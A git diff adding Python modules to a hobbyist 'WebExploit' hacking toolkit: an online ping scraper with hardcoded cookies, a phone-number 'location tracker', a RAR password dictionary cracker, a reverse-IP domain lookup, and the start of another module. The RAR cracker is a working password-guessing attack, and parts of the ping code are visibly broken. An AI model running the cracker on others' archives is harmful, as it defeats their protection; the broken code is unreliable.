+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ ping = 'https://www.broadbandsearch.net/network-tools/ping'
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}P.I.N.G-online{f.GREEN}]{f.WHITE}{f.RED} P.I.N.G{f.WHITE}{bold} ONLINE PING TOOL {nbold} T00L !\n\n\n')
+ t.sleep(3)
+
+
+ while True:
+ try:
+ url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.I.N.G/{bold}URL{nbold}{f.WHITE} enter \'{bold}URL or IP{nbold}\' [ex: youtube.com | 1.1.1.1]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if url:
+ if 'http' not in url:
+ break
+ if 'https://' not in url:
+ break
+ else:
+ print(f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] ENTER URL WITHOUT {bold}HTTP:// OR HTTPS://{nbold} TRY AGAIN . . .\n')
+ t.sleep(1)
+ continue
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ finally:
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}PING/{f.WHITE}URL >>>{bold}{f.CYAN} {url} {nbold}{f.WHITE}] \n')
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}PING/{f.CYAN}STATUS{f.WHITE}] Try Requesting . . . {bold}{f.YELLOW} Please Wait{nbold} . . .\n')
+ t.sleep(2)
+ d = 'domain=$'
+ data = d.replace('$',url)
+ #data = {'domain':'1.1.1.1'}
+
+ hed = {'Host': 'www.broadbandsearch.net',
+ 'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0',
+ 'Accept': '*/*',
+ 'Accept-Language': 'en-US,en;q=0.5',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
+ 'X-Requested-With': 'XMLHttpRequest',
+ 'Content-Length': '16',
+ 'Origin': 'https://www.broadbandsearch.net',
+ 'Connection': 'keep-alive',
+ 'Cookie': '_ga_F8CJ2KC6JR=GS1.1.1673472546.1.1.1673472850.0.0.0; _ga=GA1.2.638612145.1673472546; __gads=ID=6f95f94f84659bb4-22c69e6f4cd8002f:T=1673472550:RT=1673472550:S=ALNI_MaoiRZ2kMjsMTDYg7KJlYKFQ0UEyQ; __gpi=UID=00000bbff5daf570:T=1673472550:RT=1673472550:S=ALNI_MZ84xWSr3jUcf5vm7IqTGX4F7IhAQ; _gid=GA1.2.2145156682.1673472547',
+ 'Sec-Fetch-Dest': 'empty',
+ 'Sec-Fetch-Mode': 'cors',
+ 'Sec-Fetch-Site': 'same-origin'}
+
+ while True:
+ try:
+ ping_data = r.post(ping, headers=hed, data=data)
+ if ping_data:
+ break
+ else:
+ continue
+ except Exception as error:
+ print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}PING/{f.GREEN}REQUEST-ERROR{white}] {nbold}{f.RED} ERROR :{white}\'{red}{bold}{error}{nbold}\' | Requesting Again . . . \n')
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+
+
+
+ data_text = ping_data.text
+ #ping_ = data_text.replace('
', '\n')
+
+
+
+ da = bs(data_text, 'html.parser')
+
+ data = bs(data_text, 'html.parser')
+ print(da)
+ test, status = data.find_all('p')
+ d = ''
+ d = da.replace('
','\n')
+ dd = d.replace('','\t\t\n')
+ ddd = dd.replace('
','\t\t\n')
+ dddd = dddd.replace('
','\t\t\n')
+ print(dddd)
+
+
+ data_json = json.loads(dddd)
+ final = data_json['data']
+
+ t.sleep(1)
+
+ test = test.text
+ status = status.text
+
+
+
+ print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS >>>{bold}{f.GREEN} {status} {nbold}{f.WHITE}] \n\n')
+ t.sleep(3)
+ print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS: {bold}{f.BLUE} {final} {nbold}{f.WHITE}] \n\n')
+ t.sleep(2)
+ print (f' {f.WHITE}[{f.WHITE}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}PING/{f.WHITE}STATUS >>>{bold}{f.CYAN} {test} {nbold}{f.WHITE}]\n')
+
+
+
+
+
+
+
diff --git a/cores/pnt.py b/cores/pnt.py
new file mode 100644
index 0000000..0e764cb
--- /dev/null
+++ b/cores/pnt.py
@@ -0,0 +1,143 @@
+
+def run():
+ '''
+ 'MJI 3> M'
+ _____________
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ from sys import argv, exit
+ import time as t
+ from colorama import Fore as f
+ from random import choice
+ import phonenumbers
+ from phonenumbers import carrier, geocoder, timezone
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+ bnr = [""]
+ def r_bnr(bnr):
+ return choice(bnr)
+ print(f'{bold}')
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ print(f'{red}{bold}', end='', flush=True)
+ #create flush text [simple]
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}PLT{f.GREEN}]{f.WHITE}{f.RED} P.L.T{f.WHITE}{bold} P{nbold}honeNnumber{nbold}L{bold}ocation{bold} T{nbold}racker{nbold}\n\n\n')
+ t.sleep(3)
+
+ phoneNumber : str = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.N.T/{bold}Phonenumber-Location-Tracker{nbold}{f.WHITE} enter \'PHONE-{bold}NUMBER{nbold}\' | (ex: +447387384578):#{f.GREEN}{bold} ')
+ Region : str = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}P.N.T/{bold}Region-{bold}NUMBER{nbold}\' | (ex: IR, US, IN, or ....):#{f.GREEN}{bold} ')
+ Number : str = phonenumbers.parse(phoneNumber, Region)
+ regionCode : str = phonenumbers.region_code_for_number(Number)
+ provider : str = carrier.name_for_number(Number, "en")
+ loc : str = geocoder.description_for_number(Number, "id")
+ isValid : str = phonenumbers.is_valid_number(Number)
+ isPossible : str = phonenumbers.is_possible_number(Number)
+ formattedNum : str = phonenumbers.format_number(Number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)
+ formattedNumMobile : str = phonenumbers.format_number_for_mobile_dialing(Number, Region,with_formatting=True)
+ numberType : str = phonenumbers.number_type(Number)
+ timezone1 : str = timezone.time_zones_for_number(Number)
+ timezoneM : str = ', '.join(timezone1)
+
+ def phoneDetector() -> str:
+ if numberType == phonenumbers.PhoneNumberType.MOBILE:
+ return "mobile number"
+ elif numberType == phonenumbers.PhoneNumberType.FIXED_LINE:
+ return "fixed line number"
+ else:
+ return "another type of number"
+
+
+ print (f'\n\n {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}Location{nbold}{f.WHITE} >>> {bold}{green}{bold}{loc}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}RegionCode{nbold}{f.WHITE} >>> {bold}{green}{bold}{regionCode}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}TimeZone{nbold}{f.WHITE} >>> {bold}{green}{bold}{timezoneM}{nbold}')
+ t.sleep(0.3)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}Operator{nbold}{f.WHITE} >>> {bold}{green}{bold}{provider}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ValidNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{isValid}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}PossibleNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{isPossible}{nbold}')
+ t.sleep(0.3)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}internationalFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{formattedNum}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}MobileFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{formattedNumMobile}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}originalNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{numberType}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}numberFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{phoneDetector()}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}E.164-Format{nbold}{f.WHITE} >>> {bold}{green}{bold}{phonenumbers.format_number(Number, phonenumbers.PhoneNumberFormat.E164)}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}countryCode{nbold}{f.WHITE} >>> {bold}{green}{bold}{Number.country_code}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}nationalNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{Number.national_number}{nbold}')
+ t.sleep(0.5)
+ # location on google map incoming ....
\ No newline at end of file
diff --git a/cores/rarc.py b/cores/rarc.py
new file mode 100644
index 0000000..83d0148
--- /dev/null
+++ b/cores/rarc.py
@@ -0,0 +1,161 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ 'pip install google-search'
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import rarfile
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ░▒█▀▀▄░░░█▀▀▄░░░▒█▀▀▄░░░░░░░░▒█▀▀▄
+ ░▒█▄▄▀░░▒█▄▄█░░░▒█▄▄▀░░░▄▄░░░▒█░░░
+ ░▒█░▒█░░▒█░▒█░░░▒█░▒█░░░▀▀░░░▒█▄▄▀ ''', '''
+ __ _ __ _
+ )_) )_) )_) / `
+ / \ / / / \ o (_ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}RAR{f.GREEN}]{f.WHITE}{f.RED} R.A.R{f.WHITE}{bold} RAR {bold}C{nbold}racker T00L !\n\n\n')
+ t.sleep(3)
+
+
+
+
+ while True:
+ try:
+ rarc = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.A.R/{bold}FILE[rar]{nbold}{f.WHITE} enter {bold}\'RarFile{nbold}\' [ex: /Desktop/mji.rar]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if rarc:
+ break
+ else:
+ input('please enter a RAR file')
+ continue
+
+ except Exception as err_rarc:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] {bold}ERROR -> {err_rarc}{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ while True:
+ passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.A.R/{bold}RAR-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/passlist_example.txt]:#{f.GREEN}{bold} ')
+ if passwords:
+ try:
+ passes = open(passwords, 'r').read().split()
+ # passes.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}RARC/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}rar-cracker . . . !{nbold}]')
+ t.sleep(3)
+
+ try:
+ with rarfile.RarFile(rarc) as rf:
+ for pwd_ in passes:
+ try:
+ rf.extractall(pwd=pwd_.encode()) #strip()
+ print (f'\n {nbold}{f.WHITE}[{f.GREEN}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}RAR.C/{f.GREEN}Password-Found{white}] {nbold}{f.CYAN} \'{bold}{pwd_}{nbold}\' \n')
+ break
+ except:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}RAR.C/{f.YELLOW}Password-NotFound{white}] {nbold}{f.RED} \'{bold}{pwd_}{nbold}\' \n')
+ continue
+ except:
+ pass
+
+
+
+ # with rarfile.RarFile(rarc) as rf:
+ # for password in passes:
+ # try:
+ # rf.extractall(pwd=password.encode())
+ # return password
+ # except:
+ # pass
diff --git a/cores/ril.py b/cores/ril.py
new file mode 100644
index 0000000..af96e5d
--- /dev/null
+++ b/cores/ril.py
@@ -0,0 +1,235 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ method = ""
+ #import re
+ # reverse ip lookup ril
+ import time as t
+ from colorama import Fore as f
+ from random import choice
+ import sys, os
+ import requests as r
+ import json as j
+ from fake_useragent import UserAgent
+ agent = UserAgent()
+ from fake_headers import Headers
+
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+ bnr = ['''
+
+ ▀███▀▀▀██▄ ▀████▀ ▀████▀
+ ██ ▀██▄ ██ ██
+ ██ ▄██ ██ ██
+ ▓██████ ██ ██
+ ▓█ ██▄ █▓ █▓ ▄
+ ▓█ ▀▓█ █▓ █▓ ▒█
+ ▓█ ▓ ▓▓ ▓▓ ▓▓ ▓
+ ▓▓ ▀▓▓▓ ▒▓ ▓▒ ▓▓
+ ▒ ▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ▒ ▒▒ ▓▒ ▒ ''', '''
+ ██▀███ ██ ██▓
+ ▓██ ▒ ██▒ ▒▓██ ▓██▒
+ ▓██ ░▄█ ▒ ░▒██ ▒██░
+ ▒██▀▀█▄ ░██ ▒██░
+ ░██▓ ▒██▒ ░██ ░██████
+ ░ ▒▓ ░▒▓░ ░▓ ░ ▒░▓
+ ░▒ ░ ▒░ ▒ ░ ░ ▒
+ ░ ░ ▒ ░ ░
+ ░ ░ ░ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+
+
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}RIL{f.GREEN}]{f.WHITE}{f.RED} R.I.L{f.WHITE}{nbold} {bold}R{nbold}everce {bold}I{nbold}p {bold}L{nbold}ookup tool !\n\n\n')
+ t.sleep(2)
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}REVERCE IP LOOKUP]{white} advanced tool for find sites on a host {red}{bold} RIL {nbold}{white} tool !\n')
+
+ while True:
+ try:
+ ur = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.I.L/{bold}URL{nbold}{f.WHITE} enter {bold}\'URL or IP{nbold}\' [ex: GOOGLE.com, 1.1.1.1]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if ur:
+ break
+ else:
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+
+ if 'http://' in ur:
+ try:
+ url = ur.replace('http://','')
+ except:
+ url = ur
+ if 'https://' in ur:
+ try:
+ url = ur.replace('https://','')
+ except:
+ url = ur
+ else:
+ url = ur
+
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}RIL/{bold}URL{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{url}{nbold}\n')
+
+ t.sleep(3)
+
+# data = ('remoteAddress='+url+'&key=')
+ data = {'remoteAddress': url}
+ leng = data
+
+ lenght = len(leng)
+
+ hed = {'Host': 'domains.yougetsignal.com',
+'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0',
+'Accept': 'text/javascript, text/html, application/xml, text/xml, */*',
+'Accept-Language': 'en-US,en;q=0.5',
+'Accept-Encoding': 'gzip, deflate, br',
+'X-Requested-With': 'XMLHttpRequest',
+'X-Prototype-Version': '1.6.0',
+'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
+'Origin': 'https://www.yougetsignal.com',
+'Connection': 'keep-alive',
+'Content-Length': str(lenght),
+'Referer': 'https://www.yougetsignal.com/',
+'Sec-Fetch-Dest': 'empty',
+'Sec-Fetch-Mode': 'cors',
+'Sec-Fetch-Site': 'same-site'
+}
+ #print (hed)
+ headers_random = Headers(
+ browser='firefox', # Generate Chrome , firefox UA
+ os='win', # Generate Windows, linux platform
+ headers=True # generate misc headers
+ ).generate()
+
+
+ try:
+ #r.get('https://domains.yougetsignal.com', headers=header)
+ result = r.post('https://domains.yougetsignal.com/domains.php', headers=hed, data=data)
+
+ except Exception as error:
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}R.I.L/{f.GREEN}REQUEST {nbold}{f.CYAN} BECAUSE: \'{bold}{error}{nbold}\' TRY WITH VPN{nbold}!\n')
+ t.sleep(3)
+ sys.exit()
+ #print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}TRY] trying WITH RANDOM HEADER{green}{bold} REQUEST AGAIN . . .{nbold}{white} !\n')
+
+ #result = r.post('https://domains.yougetsignal.com/domains.php', headers=headers_random, data=data)
+ #input('enter for show domains')
+ res = result.text
+ ril = j.loads(res)
+
+ status = ril['status']
+ method = ril["resultsMethod"]
+ LastScrape = ril["lastScrape"]
+ domains_count = ril["domainCount"]
+ remote_address = ril["remoteAddress"]
+ domains = ril["domainArray"]
+ try:
+ mesg = ril["message"]
+ print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}R.I.L/{f.YELLOW}ERROR {nbold}{f.CYAN} BECAUSE: \'{bold}{mesg}{nbold}\' TRY WITH VPN {nbold}!\n')
+ sys.exit()
+ except:
+ pass
+
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}STATUS{nbold}{f.WHITE} >>> {bold}{green}{bold}{status}{nbold}')
+ t.sleep(0.5)
+ #print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}METHOD{nbold}{f.WHITE} >>> {bold}{green}{bold}{method}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LAST-SCRAPE{nbold}{f.WHITE} >>> {bold}{green}{bold}{LastScrape}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}DOMAINS-COUNT{nbold}{f.WHITE} >>> {bold}{green}{bold}{domains_count}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}REMOTE-ADDRESS{nbold}{f.WHITE} >>> {bold}{green}{bold}{remote_address}{nbold}')
+ t.sleep(0.5)
+ print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ALL DOMAINS{bold}{f.WHITE} ::: {bold}{green}{bold}')
+
+ t.sleep(2)
+ print(f"{italic}{yellow}-+-" * 10)
+ for d, u in domains:
+ print (f' {f.WHITE}{nbold}[{italic}{f.RED}WebExploit{nbold}{f.WHITE}@{red}R.I.L/{blue}domains{white}] {yellow} × {d} ×')
+ t.sleep(0.09)
+ print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}Domains{white}]{italic} The WebExploit Founded {red}{bold} {domains_count} {nbold}{white} on {bold}{url}\n\n')
+
+
+
+
+
diff --git a/cores/ssc.py b/cores/ssc.py
new file mode 100644
index 0000000..8eea899
--- /dev/null
+++ b/cores/ssc.py
@@ -0,0 +1,218 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
